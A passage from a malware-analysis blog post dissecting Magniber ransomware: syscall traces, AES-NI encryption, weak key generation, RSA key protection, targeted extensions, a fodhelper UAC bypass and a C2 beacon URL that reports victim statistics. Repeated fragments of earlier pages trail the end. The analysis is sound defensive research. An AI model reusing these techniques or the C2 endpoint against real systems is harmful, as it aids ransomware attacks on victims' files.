first\r\nstage executable, and then redirect the Entry Point there:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 21 of 47\n\nAdding the section with the dumped shellcode (using PE-bear)\r\nRedirection of Entry Point to the newly added shellcode\r\nFirst, I tested if the file executes properly, just by running it as a standalone on my VM. Everything works as\r\nexpected: files got encrypted, and the wallpaper changes. So, that indeed it is the main part of the ransomware,\r\nresponsible for encryption of the files.\r\nThen I rolled back the VM, and run it once again – this time via TinyTracer. It turned out to work well. However,\r\nthe tracing again breaks on the new process creation (used for UAC). It is called via syscall. In contrast to the\r\nprevious part, this time the call is made from the static code (saved in the PE section, rather than in a dynamically\r\nallocated memory), so it is easy to patch it out. I did it just by NOP-in the syscall in PE-bear.\r\nSyscall responsible for executing NtCreateUserProcess viewed in PE-bear:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 22 of 47\n\nThe same syscall after being NOP-ed out:\r\nNow the tracing proceeds further, to the files encryption.\r\nJust like in the previous case, first I traced it without parameters, to have an overview of what functions are going\r\nto be called, and then added relevant entries into parameters.txt . Some new function has been added,\r\ncomparing with the part 1.\r\nntdll;NtQueryDirectoryFile;10\r\nntdll;NtQueryInformationProcess;5\r\nntdll;NtSetInformationFile;5\r\nThe malware keeps running for quite a while (as the execution is slowed down because of the instrumentation\r\nwith Pin), but we can preview the log in the real time with the help of tools like baretail. By looking at the\r\nexecuted function it seems to be indeed files encryption. Waiting for full system encryption to finish makes no\r\nsense, so I decided to break the execution manually and terminate the process.\r\nFragment of the resulting tracelog:\r\n2000;section: [shellc]\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {\\xbf\\xd8\\xd2\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {\\xc5\\xf9\\xd2\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 23 of 47\n\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {\\x19\\xfc\\xd2\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {m\\x06\\xd3\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {\\xb8\\x08\\xd3\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {P\\x0a\\xd3\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {\\xc0\\x0b\\xd3\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {E\\x0d\\xd3\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014fb00 -\u003e {\\xc2\\x0e\\xd3\\x82\\x06\\x00\\x00\\x00}\r\nArg[1] = 0\r\n196aa;SYSCALL:0x34(NtDelayExecution)\r\n1969f;SYSCALL:0x19(NtQueryInformationProcess)\r\n1967e;SYSCALL:0x18(NtAllocateVirtualMemory)\r\nNtAllocateVirtualMemory:\r\nArg[0] = 0xffffffffffffffff = 18446744073709551615\r\nArg[1] = ptr 0x000000000014fb08 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = ptr 0x000000000014fb00 -\u003e {\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[4] = 0x14801af200001000 = 1477210304461934592\r\nArg[5] = 0x14d8106a00000004 = 1501968523180638212\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 24 of 47\n\n196d6;SYSCALL:0x33(NtOpenFile)\r\nNtOpenFile:\r\nArg[0] = ptr 0x000000000014faf8 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = 0x0000000000100080 = 1048704\r\nArg[2] = ptr 0x000000000014fa90 -\u003e L\"0\"\r\nArg[3] = ptr 0x000000000014fa58 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[4] = 0x14801af200000001 = 1477210304461930497\r\nArg[5] = 0x14d8106a00000021 = 1501968523180638241\r\n[...]\r\nBy looking at the tracelog, we can clearly see fragments that resemble file encryption. Relevant fragments:\r\n1972e;SYSCALL:0x11(NtQueryInformationFile)\r\n196c0;SYSCALL:0x55(NtCreateFile)\r\nNtCreateFile:\r\nArg[0] = ptr 0x000000000014ef08 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = 0x0000000000120116 = 1179926\r\nArg[2] = ptr 0x000000000014eb88 -\u003e L\"0\"\r\nArg[3] = ptr 0x000000000014eae0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[4] = 0\r\nArg[5] = 0x0000000000000080 = 128\r\nArg[6] = 0x0000000000000003 = 3\r\nArg[7] = 0x0000000000000001 = 1\r\nArg[8] = 0x0000000000000120 = 288\r\nArg[9] = 0\r\n1967e;SYSCALL:0x18(NtAllocateVirtualMemory)\r\nNtAllocateVirtualMemory:\r\nArg[0] = 0xffffffffffffffff = 18446744073709551615\r\nArg[1] = ptr 0x000000000014ea78 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = ptr 0x000000000014eac8 -\u003e {\\x00\\x01\\x10\\x00\\x00\\x00\\x00\\x00}\r\nArg[4] = 0x0000000000001000 = 4096\r\nArg[5] = 0x0000000000000004 = 4\r\n1967e;SYSCALL:0x18(NtAllocateVirtualMemory)\r\nNtAllocateVirtualMemory:\r\nArg[0] = 0xffffffffffffffff = 18446744073709551615\r\nArg[1] = ptr 0x000000000014eaa0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = ptr 0x000000000014ea68 -\u003e {\\x00\\x01\\x10\\x00\\x00\\x00\\x00\\x00}\r\nArg[4] = 0x0000000000001000 = 4096\r\nArg[5] = 0x0000000000000004 = 4\r\n196e1;SYSCALL:0x6(NtReadFile)\r\n196cb;SYSCALL:0x8(NtWriteFile)\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 25 of 47\n\nNtWriteFile:\r\nArg[0] = 0x0000000000000470 = 1136\r\nArg[1] = 0\r\nArg[2] = 0\r\nArg[3] = 0\r\nArg[4] = ptr 0x000000000014ea38 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[5] = ptr 0x00000000163c0000 -\u003e {\\x01`\\xa4\\x13H\\xc7w.}\r\nArg[6] = 0x00000000000005a0 = 1440\r\nArg[7] = 0\r\nArg[8] = 0\r\n1967e;SYSCALL:0x18(NtAllocateVirtualMemory)\r\nNtAllocateVirtualMemory:\r\nArg[0] = 0xffffffffffffffff = 18446744073709551615\r\nArg[1] = ptr 0x000000000014ea70 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = ptr 0x000000000014eaa8 -\u003e {\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[4] = 0x0000000000001000 = 4096\r\nArg[5] = 0x0000000000000004 = 4\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014e890 -\u003e {\\x16)\\xb4\\xb4\\x05C\\xd0\\x92}\r\nArg[1] = 0\r\n[...]\r\n19694;SYSCALL:0x31(NtQueryPerformanceCounter)\r\nNtQueryPerformanceCounter:\r\nArg[0] = ptr 0x000000000014e890 -\u003e {h\\xa1\\xe1\\x9e\\x04\\x00\\x00\\x00}\r\nArg[1] = 0\r\n196cb;SYSCALL:0x8(NtWriteFile)\r\nNtWriteFile:\r\nArg[0] = 0x0000000000000470 = 1136\r\nArg[1] = 0\r\nArg[2] = 0\r\nArg[3] = 0\r\nArg[4] = ptr 0x000000000014ea38 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[5] = ptr 0x0000000013990000 -\u003e {\\xe4|\\xfa\\x96\\xeb!\\x89\\xea}\r\nArg[6] = 0x0000000000000100 = 256\r\nArg[7] = 0\r\nArg[8] = 0\r\n19689;SYSCALL:0x1e(NtFreeVirtualMemory)\r\n196b5;SYSCALL:0xf(NtClose)\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 26 of 47\n\n196b5;SYSCALL:0xf(NtClose)\r\n196b5;SYSCALL:0xf(NtClose)\r\nFiles are repeatedly read, and then written to. We can see a heavily use of the function\r\nNtQueryPerformanceCounter in each such round. This function is a low-level equivalent of\r\nQueryPerformanceCounter , which MSDN explains in the following way:\r\nRetrieves the current value of the performance counter, which is a high resolution (\u003c1us) time stamp\r\nthat can be used for time-interval measurements.\r\nI suspect that this ransomware uses it as a source of entropy, but we will see if this assumption is valid using static\r\nanalysis…\r\nGoing deeper…\r\nHaving the tags generated by Tiny Tracer, we can apply them into IDA, or Ghidra, using the tools mentioned here.\r\nI loaded the Tags into IDA, using IFL plugin, and renamed the functions with syscalls accordingly to what system\r\nfunction do they execute.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 27 of 47\n\nNow we can follow the interesting functions by their references, to see the whole code context in which they are\r\nexecuted.\r\nWhen we come in contact with a new ransomware, often the first questions we ask is, if it is decryptable, and what\r\nis the scale of the damage done. In order to know it, we will analyze what algorithm is used, how the keys are\r\ngenerated, how the keys are protected, etc.\r\nEncryption algorithm\r\nThe function responsible for file encryption can be found by following the references of NtReadFile .\r\nBetween the reads and the writes into a file ( NtReadFile and NtWriteFile ) we can find how the read chunk is\r\nbeing encrypted:\r\nMost of the ransomware authors use AES for file encryption. Magniber follows this trend. But the intresting part\r\nis the implementation. Instead of using a common implementation that works at a higher abstraction level (and i.e.\r\nleverage some of the known libraries, or Windows Crypto API as the old Magniber did) authors made a bold\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 28 of 47\n\nchoice to go for a low-level one, via the (relatively) new Intel instructions for AES encryption (AES-NI\r\nextension). Using AES-NI allows for much faster encryption, but the cost of is to drop the backward compatibility\r\nwith older machines that don’t support it. As well it makes the used algorithm obvious at first look at the\r\nassembly, which is not neccessarily beneficial from the malware author’s perspective.\r\nFirst, the key is initialized by the function that also has AES-NI based implementation (referenced as\r\naes_low_level_keygen ):\r\nWe can see the AES-NI instruction AESKEYGENASSIST used in order to prepare the AES context.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 29 of 47\n\nThen we can see how the next chunk of data is loaded, and encrypted by consecutive AES rounds, using the\r\ninstruction AESENC. At the end, an instruction AESENCLAST is used to finalize the encryption.\r\nAES key generation\r\nThe next important point is to check how the AES key gets generated.\r\nThe random generator\r\nBy observing the flow earlier on, I started to suspect that the function NtQueryPerformanceCounter is used as a\r\nsource of entropy, to initialize all sort of pseudorandom variables. Indeed, this native function is incorporated in a\r\nfunction made for generating random values:\r\nThe function has the following prototype, allowing to supply the range from which the random number should be\r\nselected:\r\n__int64 __fastcall make_pseudo_random(unsigned int min, unsigned int max);\r\nThe function comes with a table of 100 pseudorandom DWORDs. Then, a simple algorithm making use of\r\nNtQueryPerformanceCounter is executed, in order to select a random index from this table. Basing on the value\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 30 of 47\n\nfrom the table at this index, and the given min and max values, the final pseudorandom value is calculated. In case\r\nif the calculated value failed to fit in the range, a new attempt is made recursively.\r\nThe interesting point at this moment is, that the random value is selected in fact from the hardcoded table. So, if\r\nwe consider that our random value must be of size 1 byte, then, instead of the typical range of 255 options to\r\nselect from, the range of options narrows down to 100 which is the table size.\r\nNote, that we can see some general similarities with the analogous function from the old edition of Magniber, yet\r\nthe implementation differs:\r\nThe random generator used in the old Magniber (2017)\r\nYet, in the old version this random generator is not used to derive the keys.\r\nWe must note that neither GetTickCount, nor NtQueryPerformanceCounter is a cryptographicaly secure source\r\nof entropy. In both cases, the values generated are incremental, not random, and relative to the system start. Yet,\r\nGetTickCount has lower resolution, so finding the initial value that started the series (seed) is much easier.\r\nGenerating AES key and IV\r\nThe aforementioned function is used in multiple places in the code, but what interests us the most at this point, is\r\nthat is is used for the generation of AES key and IV used for files encryption:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 31 of 47\n\nBoth AES key and IV are 16 bytes long, which makes it AES 128.\r\nThe range from which the values are selected is 1 to 254, which is yet more narrow than typical 0 to 255.\r\nI conducted and experiment by hooking the function, and checking what is the possible set of the values of one\r\npseudorandom byte from this range. It turns out, that this set has only 67 elements (unlike 255, as it would be for\r\nthe full BYTE range):\r\n{ 5, 9, f, 13, 15, 1d, 20, 23, 2f, 31, 33, 35, 37, 39, 3d, 3f, 41, 45, 47, 49, 4b, 55, 59, 5b, 5d, 61\r\nSo, in order to generate the key, we are selecting 16 values out of the 67 elements set, which gives 67^16\r\npermutations. It gives 1.6489096e+29. So, although the key is a bit weakened, it is still impossible to brutforce.\r\nGenerated AES key and IV:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 32 of 47\n\nWe can further confirm that the generated key was used to initialize the AES context:\r\nBy supplying the dumped data to CyberChef, we can confirm that it is a valid implementation of AES 128, and the\r\nused mode is CBC .\r\nThe same cipher was used by the old Magniber’s edition: yet, its implementation, as well as key generation was\r\nvery different.\r\nProtecting AES key and IV\r\nEven if the AES key and IV have been generated properly, there is still one point of a possible weakness, and that\r\nis about how they are protected.\r\nAfter the encrypted chunks of the file are being written, there is yet another call to NtWriteFile . This time it is\r\nused to save the encrypted AES key and IV.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 33 of 47\n\nThe algorithm used to protect them seems to be a custom implementation of RSA (we will verify its correctness\r\nfurther on).\r\nThe generated key and IV are stored together in a buffer, and then passed to the asymmetric crypto function.\r\nThe ransomware uses attacker’s public key that is hardcoded in the binary:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 34 of 47\n\nThe public key is copied and passed to the function:\r\nOnce the buffer containing the AES key and IV is passed to the function, the random padding is appended to it:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 35 of 47\n\nInside the function denoted as apply_assymmetric_crypto we can see some building blocks typical for RSA:\r\nThe prepared data, containing the AES key and IV are encrypted, and then copied to the output buffer.\r\nVerifying the RSA implementation\r\nVerifying the RSA implementation by static analysis may be a laborious tasks. So, I am gonna use a shortcut. I\r\nwill dump the data involved in the encryption process: n – key, e – exponent, and m – message, and repeat the\r\nencryption with the help of public tools, where I am sure the RSA has been implemented correctly. If I can obtain\r\nthe same ciphertext, it means that the implementation in the malware is valid.\r\nI hooked the function apply_assymmetric_crypto and dumped the elements listed below. Full code of the loader\r\ncan be found here.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 36 of 47\n\nMind the fact that the order of bytes in the dumped buffer needs to be reversed. This can be done conveniently with\r\nCyberChief. Example here.\r\nRSA key components:\r\ne = 10001\r\nn = c6 c2 f7 3c 03 46 3d 1b 4e 3e a9 03 bb 4d 3a 6c cb f3 88 cf 53 5b 43 cb 75 17 97 8a 73 c6 88 01\r\n46 ba cd 65 69 bf ef 20 f0 0a b2 a7 99 6d 3c 87 f1 a5 21 94 c1 53 1f 8c b6 69 3d 7e d0 d4 a4 ba 63 d1\r\n37 8e 0f af 4b b5 71 4e 58 d0 7e 64 a0 2f 4d 16 43 fa 9f 51 19 b3 99 5d 7c 7d 66 e0 62 06 d3 cd 1c 63\r\n76 5e 25 64 84 a1 dc 1e 09 84 e6 76 e3 48 aa a7 c3 66 e2 28 9f 3c 81 64 5b 6a 04 3d 92 e7 bf e9 65 39\r\nc3 f6 53 fa 70 96 11 15 a5 50 75 76 e7 31 94 53 7c e6 5a bb 75 19 7a 6f 21 3b e0 db 42 cb 9f c7 d2 04\r\n80 70 e8 83 d5 35 1e a7 40 ef d6 42 8c 2e 5e de f0 c9 51 fe 80 0f 6b 0b 16 13 3e 2b f1 e2 12 d9 58 8b\r\n18 47 77 b2 2f 83 53 d6 a9 74 99 18 e2 ec 14 36 d1 6a bd 5c 00 77 ae 7f 52 26 7b e9 04 02 a8 e1 12 53\r\n50 6c b8 34 2d da 11 bd c6 c4 b7 d9 19 02 16 9b 32 b4 1f 15\r\nContent to be encrypted: random AES key + IV (hilighted) + padding:\r\nm = 00 02 ab 7e 91 79 c1 59 64 2f 7e af 7f c1 59 eb 13 7e af 7f 33 59 b3 0f 79 a1 1d 31 37 b3 0f 8f\r\n9d 1d 35 81 c3 0f 6f 91 ab e1 81 64 41 6f 91 79 e1 81 64 2f 7e 91 7f 33 59 eb 13 79 af 7f 33 37 b3 13\r\n35 59 e7 72 41 f7 eb e5 f4 fb 72 41 f7 93 39 f4 fb ab eb f7 6f 91 ab e1 81 64 41 6f 91 79 c1 81 64 13\r\n7e af 7f 33 72 41 f7 93 e5 f4 fb ab eb 41 6f 91 ab e1 81 64 41 6f 91 79 e1 81 64 2f 7e cd 99 e7 09 97\r\n33 3d 61 3f 79 45 97 33 93 e5 f4 fb ab 41 f7 93 39 ab fb 81 64 41 6f 91 79 c1 81 64 13 7e af 7f 33 37\r\neb 13 8f a1 1d 31 55 b3 0f 6c e7 c3 35 81 cb cb 6c e7 5d 5b 20 99 b3 ab 83 90 15 69 05 b3 49 5b 8f 62\r\n59 79 0f 49 b3 15 7f 63 41 6c e7 5d 33 20 99 41 ab 33 5d 33 a7 00 f7 93 39 ab e1 81 64 13 7e af 7f 31\r\n37 b3 cb 6c e7 63 3d 05 b3 4b b3 8f 62 6b 59 e9 61 09 f3 33\r\nThe resulting ciphertext:\r\nc = 11 2d 19 b0 82 4b 0b 24 88 e8 b7 db 00 1e 84 ef 92 6a b6 1c f2 90 49 df 42 e3 f2 c9 1a e0 9d 92\r\n52 24 00 ad 09 5b 0a 85 0d 68 20 a2 ed 48 f1 2e 88 23 70 d5 d8 15 57 58 ef 94 34 9a 4c 12 79 0f 42 3c\r\nbc 5b 0a d1 5b 25 97 ce 67 8a d2 90 4a 87 e1 a8 6c 01 ca 1e 27 f9 4c 62 2a eb 58 89 d9 0e 02 65 9f 42\r\ndb 03 f1 7c bf d8 6f eb 09 42 e6 13 d6 e8 82 d6 05 7c c2 26 90 1c 89 2c 70 25 17 a0 7f 23 a1 4e b8 5a\r\n16 f4 53 f8 aa 72 b1 2e 9b 04 1c 4e 33 a3 96 be f1 6f 0e 81 c5 91 3e 49 a2 0e cd 47 75 33 0d 67 6d f9\r\n01 79 8d 43 3b bb 07 ac cf 12 ef ef eb 87 77 4b 9a fa 98 48 d5 1f cf 43 47 05 7f 6b da 16 f3 57 a7 39\r\nf0 78 ec db a6 7e db 64 33 1c a6 b6 a0 8c 3c e5 8a d0 e6 ec da c5 b5 41 69 78 b5 e6 e1 f1 73 6e 5f d6\r\nf7 69 64 16 32 1a ac 02 ee 5e 34 0f 7d f2 d0 cc 3b 55 10 60\r\nReproducing the steps with a public tool, at: https://www.boxentriq.com/code-breaking/modular-exponentiation :\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 37 of 47\n\nWe can see that indeed, our output is identical like the one generated by the malware, so the RSA implementation\r\nis correct. No luck this time!\r\nHowever, since the malware doesn’t generate a new keypair per each victim, and only uses the RSA key\r\nhardcoded in the sample, it may be possible to reuse the private key once purchased from the attacker, and share it\r\nwith other victims of the identical sample.\r\nWhat is encrypted\r\nDuring the check with the help of FLOSS, we found in some directories hardcoded in the shellcode, that will be\r\nexcluded from the encryption:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 38 of 47\n\nFLOSS static Unicode strings\r\n[...]\r\ndocuments and settings\r\nappdata\r\nlocal settings\r\nsample music\r\nsample pictures\r\nsample videos\r\ntor browser\r\nrecycle\r\nwindows\r\nboot\r\nintel\r\nmsocache\r\nperflogs\r\nprogram files\r\nprogramdata\r\nrecovery\r\nsystem volume information\r\nwinnt\r\n[...]\r\nThis list is being used at the beginnign of the function responsible for encrypting directory content:\r\nYet, our extracted list of strings didn’t contain the attacked extensions – althougt it was clear during the behavioral\r\nanalysis that not all files are encrypted. Let’s have a closer look at how this distinction is being made:\r\nThe filtering of the files is done, by calculating hashes of their extensions, and then comparing them with a\r\nhardcoded list.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 39 of 47\n\nThe function calculating the extension hash:\r\nThe list of the valid extension hashes is hardcoded in the malware. We can find the matching extension just by a\r\nbrutforce method.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 40 of 47\n\nAgain, I didn’t want to waste time reimplementing functions responsible for hashing the extensions, and for\r\nchecking them, so I just plug the functions from the original malware to my code. You can see the brutforcer here.\r\nThere are two list of extensions that can be selected depending on the flag passed to the function encrypting a\r\ndirectory:\r\nList 0:\r\narc asf avi bak bmp fla flv gif gz iso jpeg jpg mid mkv mov mpeg mpg paq png rar swf tar tbk tgz tif\r\nList 1:\r\nabm abs abw act adn adp aes aft afx agif agp ahd ai aic aim albm alf ans apd apm apng aps apt apx art\r\nThe encrypting function is going to be called twice, each time a different list is enabled:\r\nSo, both lists are going to be used.\r\nCommunication with the C2\r\nThe malware comes with an ability to communicate with the C2, for the purpose of upload of the statistics. After\r\nthe series of encryption has finished, and if at least 100 files got encrypted, it sends an information about it to the\r\nserver:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 41 of 47\n\nThe passed data, including the unique victim ID, and various counts of the attacked targets, is merged together to\r\ncreate a URL. Example:\r\nL\"http://8e50de00b650821vieijibfm.jobsoon.fun/vieijibfm\u00262\u00261367508359\u002614525\u002655144\u00262219043\"\r\nThe base URL ( jobsoon.fun ) is hardcoded in the sample as a stack-based string, similarly to the name of the\r\nDLL to be loaded: wininnet.dll , that will be used for the internet connection.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 42 of 47\n\nThe relevant functions are loaded by their hashes, using the common technique involbing PEB lookup (similat to\r\nthis one).\r\nPrivilege elevation\r\nThe UAC bypass attempt involving fodhelper.exe (based on the PoC: FodhelperBypass.ps1.), that we observed\r\nduring the tracing is executed between two series of files encryption. First the malware is trying to encrypt files\r\nwithout elevating the privileges. After it finished, it makes attempt to deploy the UAC bypass (without any prior\r\nchecks if it is required). Then another attempt of deploying the encryption functions is being made.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 43 of 47\n\nUsage of KUSER_SHARED_DATA\r\nWhile analyzing the code, we can see references to some hardcoded memory address. Example:\r\nThis address resolves to KUSER_SHARED_DATA:\r\nKUSER_SHARED_DATA is a read-only memory page, containing a structure with many intresting information about\r\nthe system, that is mapped both in the user mode and the kernel mode (more info here and here).\r\nA convenient dump of the whole structure for a current system can be done with the help of WinDbg – example\r\nhere. We can further use this dump to resolve what field is referenced by a particual address.\r\nWindows Build Number and syscalls selection\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 44 of 47\n\nOne of the fields that is quite often used by the malware is NtBuildNumber . It is first used at the beginning of the\r\nshellcode – if the build number was lower than the hardcoded one, the malware won’t run at all:\r\nThis makes sense, because the numbers of syscalls may differ depending on Windows version – and this malware\r\nhave them hardcoded. In order to guarantee a backward compatibility, the authors would have to retrieve the\r\nsyscall numbers automatically from ntdll . Clearly they wanted to avoid this hassle. As a result, all Windows\r\nversion below 10 will be spared from this attack.\r\nThere are some cases, when still the proper syscall number need to be adjusted to a particular version of Windows.\r\nIn order to do it, they just select a number of the syscall from multiple options, basing on the retrieved Windows\r\nbuild. Such implementation is used i.e. in case of NtUserSystemParametersInfo :\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 45 of 47\n\n…which is used for changing the wallpaper:\r\nTime checks\r\nKUSER_SHARED_DATA also provides an access to a system clock, so it can be used for various time checks:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 46 of 47\n\nConclusion\r\nIn the current blog I wanted to demonstrate, how tracing with the help of Tiny Tracer can speed up the analysis\r\nprocess. It does not only give a high level overview of what is happening inside, but also it allows to quickly find\r\nwhere the relevant code is located in the binary. The generated tags can help us annotate the code in disassemblers\r\nand debuggers, helping to understand functions that are resolved dynamically, or like in the current case, by\r\nsyscalls. I also demonstrate how to overcome some problems that can interfere with tracing.\r\nIn addition to tracing, I demonstrated some of my other tools that can be useful in the analysis process – such as\r\nPE-sieve/HollowsHunter for dumping of the injected shellcode.\r\nAdditionally, we analyzed the main shellcode of Magniber, containing the implementation of the files encryption.\r\nThis shellcode (#2) is the part being injected to other processes. Note, that Magniber has yet another shellcode\r\n(#1), that is responsible for doing the the process injection. This shellcode showed up in the tracing. Yet, I am\r\nleaving its detailed analysis as an exercise to the reader.\r\nSource: https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 47 of 47\n\nRtlInitUnicodeString: Arg[0] = ptr 0x00000000174bf900 -\u003e U\"\\Registry\\User\\\"\nArg[1] = ptr 0x0000000017c80000 -\u003e L\"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\"\n\u003e 17357000+6f7;SYSCALL:0x12(NtOpenKey)  \nNtOpenKey:  \nArg[0] = ptr 0x00000000174bf8f0 -\u003e {\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff}\nArg[1] = ptr 0x00000000000f003f -\u003e {\\x00@.\\x9a\\x02\\x00\\x00\\x00}\nArg[2] = ptr 0x00000000174bf910 -\u003e L\"0\"\n\u003e 17353000+e4e;ntdll.RtlInitUnicodeString  \nRtlInitUnicodeString:  \nArg[0] = ptr 0x00000000174bf900 -\u003e U\"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\"\nArg[1] = ptr 0x00000000174bf9c0 -\u003e L\"Shell\"\n\u003e 17357000+6f7;SYSCALL:0x12(NtOpenKey)  \nNtOpenKey:  \nArg[0] = ptr 0x00000000174bf8f0 -\u003e {\\x04\\x02\\x00\\x00\\x00\\x00\\x00\\x00}\nArg[1] = ptr 0x00000000000f003f -\u003e {\\x00@.\\x9a\\x02\\x00\\x00\\x00}\nArg[2] = ptr 0x00000000174bf910 -\u003e L\"0\"\n\u003e 17353000+ea2;ntdll.RtlInitUnicodeString  \nRtlInitUnicodeString:  \n  Page 12 of 47\n\n19694;SYSCALL:0x31(NtQueryPerformanceCounter) NtQueryPerformanceCounter:  \nArg[0] = ptr 0x000000000014fb00 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\nArg[1] = 0 \n19694;SYSCALL:0x31(NtQueryPerformanceCounter)  \nNtQueryPerformanceCounter:  \nArg[0] = ptr 0x000000000014fb00 -\u003e {\\xbf\\xd8\\xd2\\x82\\x06\\x00\\x00\\x00}\nArg[1] = 0 \n19694;SYSCALL:0x31(NtQueryPerformanceCounter)  \nNtQueryPerformanceCounter:  \nArg[0] = ptr 0x000000000014fb00 -\u003e {\\xc5\\xf9\\xd2\\x82\\x06\\x00\\x00\\x00}\nArg[1] = 0 \n  Page 23 of 47\n\nRSA key components: e = 10001       \nn = c6 c2 f7 3c 03 46 3d 1b 4e 3e a9 03 bb 4d 3a 6c cb f3 88 cf 53 5b 43 cb 75 17 97 8a 73 c6 88 01\n46 ba cd 65 69 bf ef 20 f0 0a b2 a7 99 6d 3c 87 f1 a5 21 94 c1 53 1f 8c b6 69 3d 7e d0 d4 a4 ba 63 d1\n37 8e 0f af 4b b5 71 4e 58 d0 7e 64 a0 2f 4d 16 43 fa 9f 51 19 b3 99 5d 7c 7d 66 e0 62 06 d3 cd 1c 63\n76 5e 25 64 84 a1 dc 1e 09 84 e6 76 e3 48 aa a7 c3 66 e2 28 9f 3c 81 64 5b 6a 04 3d 92 